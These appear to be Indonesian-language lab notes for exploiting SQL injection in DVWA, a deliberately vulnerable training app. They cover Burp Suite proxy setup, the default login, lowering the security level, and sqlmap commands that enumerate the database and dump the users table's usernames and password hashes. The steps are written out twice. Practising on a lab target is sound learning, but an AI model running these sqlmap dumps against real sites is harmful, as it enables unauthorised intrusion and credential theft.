DVWA
usrname : admin
pswd : password
setelah login
buka burpsuite pada terminal linux
kemudian, pilih proxy dan matikan intercept
PAKAI FIREFOX
pilih preferences --> advanced (paling kiri bawah)
pilih network --> settings --> manual proxy configuration
masukkan ip 127.0.0.1 dan port 8080
jangan lupa centang box
OK dan keluar
login ke dvwa --> admin --> password
pilih menu SQLI (bukan blind)
masukkan angka 1
lalu ambil request dari burpsuite (copy)
Note : untuk GET hapus semua "enter" / spasi kebawah nya
#nano hasil
copas hasil
ganti nilai security dari impossible / high menjadi low
kemudian nilai pada "id" diganti *
# sqlmap -r hasil --dbs
# sqlmap -r hasil -D dvwa --tables
# sqlmap -r hasil -D dvwa -T users --columns
# sqlmap -r hasil -D dvwa -T users -C user,password,user_id --dump
hitung total user didalamnya
usrname : admin
pswd : password
setelah login
buka burpsuite pada terminal linux
kemudian, pilih proxy dan matikan intercept
PAKAI FIREFOX
pilih preferences --> advanced (paling kiri bawah)
pilih network --> settings --> manual proxy configuration
masukkan ip 127.0.0.1 dan port 8080
jangan lupa centang box
OK dan keluar
login ke dvwa --> admin --> password
pilih menu SQLI (bukan blind)
masukkan angka 1
lalu ambil request dari burpsuite (copy)
Note : untuk GET hapus semua "enter" / spasi kebawah nya
#nano hasil
copas hasil
ganti nilai security dari impossible / high menjadi low
kemudian nilai pada "id" diganti *
# sqlmap -r hasil --dbs
# sqlmap -r hasil -D dvwa --tables
# sqlmap -r hasil -D dvwa -T users --columns
# sqlmap -r hasil -D dvwa -T users -C user,password,user_id --dump
hitung total user didalamnya